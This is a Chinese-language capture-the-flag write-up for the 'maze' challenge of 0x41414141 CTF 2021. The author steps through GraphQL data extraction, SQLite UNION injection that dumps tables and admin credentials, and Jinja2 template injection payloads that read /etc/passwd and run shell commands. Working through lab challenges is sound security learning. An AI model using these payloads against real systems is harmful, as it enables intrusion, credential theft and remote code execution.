aszx87410/ctf-writeups

0x41414141 CTF 2021 - maze

aszx87410 opened this issue · 0 comments

一個 login page,帳號密碼嘗試 sql injection 發現沒有用

基本上 html source 找不到任何線索,靈機一動試試看:http://207.180.200.166:9000/robots.txt

發現中了,內容給了一個 http://207.180.200.166:9000/sup3r_secr37_@p1

進去之後發現是 grahpql viewer,怎麼這麼愛 graphql XD

利用之前的招數({__schema{types{name,fields{name}}}})慢慢試,可以組出完整 query

{
  allTraders {
    edges {
      node {
        id,
        uuid,
        username,
        coins {
          edges {
            node {
              uuid,
              id,
              title,
              body,
              password,
              authorId,
              ownedCoins
            }
          }
        }
      }
    }
  }
}

拿到的資料是:

{
  "data": {
    "allTraders": {
      "edges": [
        {
          "node": {
            "id": "VHJhZGVyT2JqZWN0OjE=",
            "uuid": "1",
            "username": "pop_eax",
            "coins": {
              "edges": [
                {
                  "node": {
                    "uuid": "1",
                    "id": "Q29pbk9iamVjdDox",
                    "title": "XFT",
                    "body": "XFT is the utility token that grants entry into the Offshift ecosystem",
                    "password": "iigvj3xMVuSI9GzXhJJWNeI",
                    "authorId": 1
                  }
                }
              ]
            }
          }
        }
      ]
    }
  }
}

然後回到首頁用帳號 pop_eax 密碼 iigvj3xMVuSI9GzXhJJWNeI 登入,發現沒用

這時候我想說 iigvj3xMVuSI9GzXhJJWNeI 是不是某種加密或是 hash 需要先弄成明碼,就這樣找了半小時但毫無所獲

最後真的沒招了,只好把帳號輸入成 XFT 然後密碼 iigvj3xMVuSI9GzXhJJWNeI,發現過了....

當成直接罵了一聲髒話,為什麼帳號不是 username 啊 QQ
半小時就這樣不見了QQ

接著會進入到這樣的頁面:

點進去 trade 之後就會到 http://207.180.200.166:9000/trade?coin=xft

然後裡面基本上也沒功能

因為那個參數看起來很可疑,就嘗試 injection 發現應該是可行的,因為 http://207.180.200.166:9000/trade?coin=' 會直接噴一個錯誤

但接下來我在這邊卡了很久,可能有半小到一個小時,因為 union 會噴 500 internal server error,我一度懷疑是不是不能用,就在網路上尋找其他攻擊方式

失敗的 payload:

' union select 1,1 ;--

後來想一想覺得沒道理啊,怎麼會失敗,就靈機一動想說:「該不會用字串就可以吧」,於是試了:

' union select 'a','a' ;--

靠杯勒還真的可以

接下來就是 sqlite injection 了,可以慢慢把每一個 table name 跟 schema 弄出來:

' union SELECT tbl_name, 'a' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0 --

一拿就拿到一個叫做 admin 的 table,可以把 sql dump 出來:

' union SELECT sql, 'a' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='admin' --

然後 admin 試著把裡面東西拿出來,拿到 admin:p0To3zTQuvFDzjhO9

接著清 cookie 回首頁嘗試,發現毫無反應,這邊我又卡了 30 分鐘,我想說是不是 flag 藏其他地方,就把所有 table 都 dump 出來了:

CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)
CREATE TABLE traders (
              uuid INTEGER NOT NULL,
              username VARCHAR(256),
              PRIMARY KEY (uuid)
              )</p>
CREATE TABLE coins (
              uuid INTEGER NOT NULL,
              title VARCHAR(256),
              body TEXT,
              password TEXT,
              author_id INTEGER,
              PRIMARY KEY (uuid),
              FOREIGN KEY(author_id) REFERENCES traders (uuid)
              )</p>
CREATE TABLE coin_data (coin_name text primary key, coin_desc text NOT NULL)


' union SELECT 'a', username || ' ' || password FROM admin limit 1 offset 0 --

' union SELECT 'a', coin_name || ' ' || coin_desc FROM coin_data limit 1 offset 0 --

後來發現沒有其他可疑的東西,一度試到想放棄,最後想說再回登入後的首頁看一下好了,這時我是把 devtool 關起來的,於是我看到了...

靠杯,RWD 沒做好吧QQ
因為開了 devtool 所以右上角那個 admin 我之前沒看到
30 分鐘不見了 QQ

點下去之後到新的登入頁面,輸入上面 admin 帳密過關,到了最後一關:

開 devtool 發現會設一個 cookie 叫做 name,然後會反射在 html source code 當中,第一直覺想到的就是 SSTI,試了 {{1+1}},最後 html 輸出 2,中了!

透過 {{7*'7'}} 輸出 7777777,可以知道是 Jinja2

接下來就是 python 苦手如我的一波亂試,找到了:Templates Injections 還有 [Day14] - SSTI(Server-side template injection)(2)

試過了:

{{config.items()}}
{{ [].class.base.subclasses() }}
{{"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')}}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()  }}

最後一個是有用的,但看起來只讀檔案是沒用的,應該要 RCE 才行。但 python 我幾乎完全不會,只好隨意亂找有沒有可用的 payload。

最後是找到這篇:利用 Python 特性在 Jinja2 模板中执行任意代码,看到裡面的:

{{ os.popen('echo Hello RCE').read() }}

才結合剛剛試出來的,變成這樣:

name={{ get_flashed_messages.__globals__['os'].system('ls /') }};

接著就是開始找 flag,最後的 payload:

name={{ get_flashed_messages.__globals__['os'].popen('cat flag.txt').read() }};